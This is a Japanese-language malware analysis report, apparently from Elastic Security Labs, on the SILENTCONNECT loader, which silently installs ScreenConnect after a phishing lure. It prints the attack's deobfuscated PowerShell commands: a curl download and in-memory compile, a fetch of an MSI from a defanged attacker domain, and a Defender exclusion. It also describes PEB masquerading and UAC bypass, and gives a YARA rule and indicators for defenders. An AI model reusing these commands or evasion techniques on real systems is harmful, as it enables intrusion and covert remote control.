はじめに
Elastic Security Labsは、これまで報告されていないローダーを利用した、複数段階の感染を引き起こす悪意のあるキャンペーンを監視しています。感染は、ユーザーがデジタル招待状を装ってCloudflare Turnstile CAPTCHAページに誘導されたときに始まります。リンクをクリックすると、VBScriptファイルがコンピュータにダウンロードされます。スクリプトを実行すると、C#のソースコードが取得され、PowerShellを使用してメモリ上でコンパイルおよび実行されます。これらの攻撃キャンペーンで確認された最終的なペイロードは、被害者のマシンを制御するために使用されるリモート監視・管理(RMM)ツールであるScreenConnectです。
このキャンペーンでは、攻撃者が実行を容易にするために、既存のシステムから切り離されたバイナリ( LOLBins )を悪用していること、また、Google DriveやCloudflareなどの信頼できるホスティングプロバイダーを利用していることという共通のテーマが浮き彫りになっています。このローダーは小型でシンプルな構造だが、非常に効果的であるようで、2025年3月以降、ほとんど注目されることなく運用されてきた。
重要なポイント
- SILENTCONNECTは、新たに発見され、実地で積極的に使用されているローダーです。
- このローダーはConnectWise ScreenConnectをサイレントインストールし、被害者のマシンへのハンズオンキーボードアクセスを可能にします。
- SILENTCONNECTを配信するキャンペーンでは、CloudflareとGoogle Driveのホスティングインフラストラクチャを使用しています。
- SILENTCONNECTはNT API呼び出し、PEBマスカレードを使用し、Windows Defenderの除外とユーザーアカウント制御(UAC)のバイパス機能を備えています。
SILENTCONNECT感染連鎖
3月の第1週に、私たちのチームは、自給自足型の感染症が短期間に複数の行動異常を引き起こすことを確認しました。
最初のVBScriptのダウンロードにより、インターネットからダウンロードされた疑わしいWindowsスクリプトのルールがトリガーされ、関連するfile.origin_urlフィールドとfile.origin_referrer_urlフィールドを使用して感染源を特定することができました。
元のランディングページにアクセスしたところ、Cloudflare Turnstile CAPTCHAページが表示されました。人間による認証のチェックボックスをクリックすると、VBScript ファイル ( E-INVITE.vbs ) がマシンにダウンロードされます。
以下はランディングページのソースコードです。VBScript ファイル ( E-INVITE.vbs ) が Cloudflare のオブジェクトストレージサービスr2.devにホストされていることがわかります。
以下は、過去1か月間にこれらのキャンペーンに関連して確認されたその他のVBScriptファイル名です。
Alaska Airlines 2026 Fleet & Route Expansion Summary.vbsCODE7_ZOOMCALANDER_INSTALLER_4740.vbs2025Trans.vbsProposal-03-2026.vbs2025Trans.vbsupdatv35.vbs
VBScriptは、子供向けの物語をおとりとして使用し、 Replace()とChr()関数を使用して次の段階を隠すことで、最小限の難読化が施されています。
このスクリプトは難読化を解除し、以下のコマンドライン出力を生成します。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass
-command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null;
curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download'
-o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds
8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep
-Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source
-Language CSharp; [HelloWorld]::SayHello()""
このコードスニペットはPowerShellを使用してcurl.exe呼び出し、GoogleドライブからC#ペイロードをダウンロードし、それをファイル名( C:\Windows\Temp\FileR.txt )でディスクに書き込みます。
取得したC#ソースコードは、定数展開と呼ばれる難読化手法を用いて、メモリ内での反射的実行に使用されるバイト配列を隠蔽している。
最後に、PowerShell コマンドは、 Add-Typeを使用して実行時にダウンロードした C# ソース ( FileR.txt ) をコンパイルし、.NET アセンブリとしてメモリにロードし、 [HelloWorld]::SayHello()メソッドを介して実行します。
サイレントコネクト
次のセクションでは、SILENTCONNECT と呼ばれる .NET ローダーファミリーについて説明します。このサンプルは比較的小規模で単純なもので、主にリモートペイロード(ScreenConnect)をダウンロードし、システムにサイレントインストールするように設計されています。
15 秒間スリープした後、マルウェアはNtAllocateVirtualMemoryを介してネイティブのWindows API関数を使用して実行可能メモリを割り当て、領域PAGE_EXECUTE_READWRITEに権限を割り当てます。SILENTCONNECTは、以下のシェルコードを含む埋め込みバイト配列を保存します。
53 ; push rbx
48 31 DB ; xor rbx, rbx
48 31 C0 ; xor rax, rax
65 48 8B 1C 25 60000000 ; mov rbx, gs:[0x60] ← PEB address (x64)
48 89 D8 ; mov rax, rbx ← return value
5B ; pop rbx
C3 ; ret
この小さなシェルコードは、 Marshal.Copyを使用して最近割り当てられたメモリに移動されます。次に、マルウェアはシェルコードを実行して、プロセス環境ブロック(PEB)のアドレスを取得します。この手法により、マルウェアはプロセス構造に直接アクセスできる一方、セキュリティ製品によって一般的に監視またはフックされる上位レベルのWindows APIを回避できます。
SILENTCONNECTは、委任設定段階でntdll.dll (ネイティブAPI)とole32.dll (COM API)のNTAPIを使用し、マルウェアが.NETから直接NtWriteVirtualMemoryやCoGetObjectなどの関数を呼び出すことを可能にします。
PEBの偽装
SILENTCONNECTは、PEBマスカレードとして知られる一般的なマルウェア回避技術を実装しています。すべてのWindowsプロセスには、プロセス環境ブロック(PEB)と呼ばれる、カーネルによって管理される構造が含まれています。この構造体には、読み込まれたモジュールのリンクリストが含まれています。各リンクリストの中には、モジュールのベースアドレス、DLL名、およびフルパスを含むエントリが含まれています。SILENTCONNECT はこの構造をたどり、自身のモジュールを見つけ、そのBaseDLLNameとFullDllNameをwinhlp32.exeとc:\windows\winhlp32.exeに上書きします。
EDRを含む多くのセキュリティツールは、疑わしいアクティビティを検出するための信頼できる情報源としてPEBを利用しています。この手法は、無害な名前とパスを使って自身を隠すことで、これらの製品を欺くことができる。
ペイロードを実行する前に、マルウェアは関数LaunchElevatedCOMObjectUnsafeとモニカー文字列を反転させた:wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:を使用してUACバイパスを実行します。
マルウェアが非管理者権限状態にある場合、 CMSTPLUA COM インターフェイスを介して UAC バイパス技術を使用しようとします。起動パラメータは、簡単な難読化手法として、文字配列に逆順で格納されます。
この難読化されたコマンドの最初の部分は、 .exeファイルに対してMicrosoft Defenderの除外設定を追加します。
$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure)
-ExclusionExtension $s -Force;
以下は、例外を追加した状態でDefenderでこのコマンドを実行した結果です。
除外を追加した後、SILENTCONNECT は一時ディレクトリ ( C:\Temp ) を作成し、 curl.exeを使用して悪意のある ScreenConnect クライアントインストーラをそこにダウンロードします。次に、 msiexec.exeを呼び出してRMMをサイレントインストールします。以下はコマンドラインの後半部分です。
New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L
'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
-o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i
C:\Temp\ScreenConnect.ClientSetup.msi'"
インストール後、ScreenConnectクライアントはWindowsサービスとして存続し、TCPポート8041を介してbumptobabeco[.]topにある攻撃者が制御するScreenConnectサーバーにビーコンを送信します。
SILENTCONNECTキャンペーン
これらのキャンペーンにおける主要な初期侵入経路は、フィッシングメールから始まる。昨年実施されたキャンペーンからVirusTotalにアップロードされたメールサンプル( YOU ARE INVITED.eml )を特定しました。
このメールはdan@checkfirst[.]net[.]auから送信されており、架空の会社からのプロジェクト提案の招待状を装っています。メール本文には、受信者に対しリンクをクリックして提案書を提出するよう促す内容が記載されている。このリンクは被害者を攻撃者が制御するインフラストラクチャにリダイレクトしますimansport[.]ir/download_invitee.php 。
特筆すべきは、攻撃者がペイロードを配信するために、侵害したすべてのウェブサイトで同じURIパス( download_invitee.php )を再利用したことです。この一貫した命名規則は、作戦上のセキュリティ(OPSEC)の実践としては不十分であり、キャンペーンのインフラストラクチャを追跡し、 entity:url url:download_invitee.phpなどの VirusTotal 検索を通じて侵害されたホストをさらに特定するための信頼できる起点となっていました。
また、複数の正規ウェブサイトが侵害され、同じインフラを利用して他の詐欺行為が行われていたことも判明した。例えば、あるURL( solpru[.]com/process/docusign[.]html )には、DocuSignの電子署名プラットフォームを酷似したページが掲載されています。
偽のDocuSignポータル
このチェーンは、事前に構成された ScreenConnect MSI をダウンロードすることで SILENTCONNECT を完全にスキップし、俳優のサーバー ( instance-lh1907-relay.screenconnect[.]com ) に自動的に接続します。
別のドメインにある別のページがMicrosoft Teamsのページを装い、ユーザーにファイルのダウンロードを要求することで、Syncro RMMエージェントの悪用につながる。
まとめ
Elastic Security Labsは、脅威アクターによるRMM(リモート監視・管理)ツールの導入が引き続き増加傾向にあることを確認している。これらのツールは正規のIT部門によって使用されているため、ほとんどの企業環境では見過ごされ、「信頼できる」ものとみなされているのが一般的です。組織は常に警戒を怠らず、不正なRMM(リモート監視・管理)の使用がないか、自社の環境を監査する必要がある。
この特定のグループは独自のローダーを作成するという一歩踏み込んだ手法を用いましたが、彼らの感染経路の大部分は、検出を回避し、通常のシステム活動に紛れ込むためにWindowsバイナリを利用しています。Google DriveやCloudflareといった信頼できるプラットフォームをペイロードのホスティングやルアー配信に悪用することは、ネットワークベースの制御ではこれらのサービスへのトラフィックを完全に遮断することは難しいため、検出をさらに困難にする。脅威アクターが高度な技術よりも単純さと隠密性を好む傾向が続く限り、このような性質の攻撃は今後も継続し、進化していく可能性が高い。
SILENTCONNECTとMITRE ATT&CK
Elasticは、 MITRE ATT&CK フレームワークを使用して、企業ネットワークに対してAdvanced Persistent Threatが使用する一般的な戦術、手法、手順を文書化しています。
戦術(Tactics)
戦術は、テクニックまたはサブテクニックの理由を表します。 それは敵の戦術的な目標であり、行動を実行する理由です。
手法
手法は、敵対者がアクションを実行することによって戦術的な目標を達成する方法を表します。
- コマンドとスクリプト インタープリター: PowerShell
- 防御の障害:ツールの無効化または変更
- 昇格制御メカニズムの悪用:ユーザーアカウント制御のバイパス
- リモートアクセスツール:リモートデスクトップソフトウェア
- イングレスツール転送
- ファイルまたは情報の難読化
SILENTCONNECTを検出
- CURLによるイングレスツール転送
- 署名付きバイナリプロキシによるWebServiceへの接続
- ICMLuaUtil昇格COMインターフェイスによるUAC回避
- 不審なPowerShell実行
- WMI経由のWindows Defender除外
- 不審なWindows PowerShell引数
- Windows版Curlによるファイル転送の可能性
- 悪用されやすいウェブサービスへの接続
ヤラ
Elastic Security は、このアクティビティを識別するために、以下の YARA ルールを作成しました。
rule Windows_Trojan_SilentConnect_cdc03e84 {
meta:
author = "Elastic Security"
creation_date = "2026-03-04"
last_modified = "2026-03-04"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.SilentConnect"
reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
license = "Elastic License v2"
strings:
$peb_evade = "winhlp32.exe" wide fullword
$rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
$masquerade_peb_str = "MasqueradePEB" ascii fullword
$guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
$unique_str = "PebFucker" ascii fullword
$peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
$rev_screenconnect = "tcennoCneercS" ascii wide
condition:
5 of them
}
観測
この研究では、次の観測量について議論しました。
| すぐれた監視性 | タイプ | 名前 | 参考 |
|---|---|---|---|
281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3 | SHA-256の | E-INVITE.vbs | VBScript |
adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37 | SHA-256の | 2025Trans.vbs | VBScript |
81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03 | SHA-256の | ファイルR.txt | C# |
c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7 | SHA-256の | ScreenConnect.ClientSetup.msi | SCREENCONNECTインストーラー |
8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db | SHA-256の | サイレントコネクト | |
86.38.225[.]59 | IPv4-アドレス | ScreenConnect C2サーバー | |
bumptobabeco[.]top | ドメイン | ScreenConnect C2サーバー | |
instance-lh1907-relay.screenconnect[.]com | ドメイン | ScreenConnect C2サーバー | |
349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcec | SHA-256の | ViewDocs.exe | シンクロインストーラー |
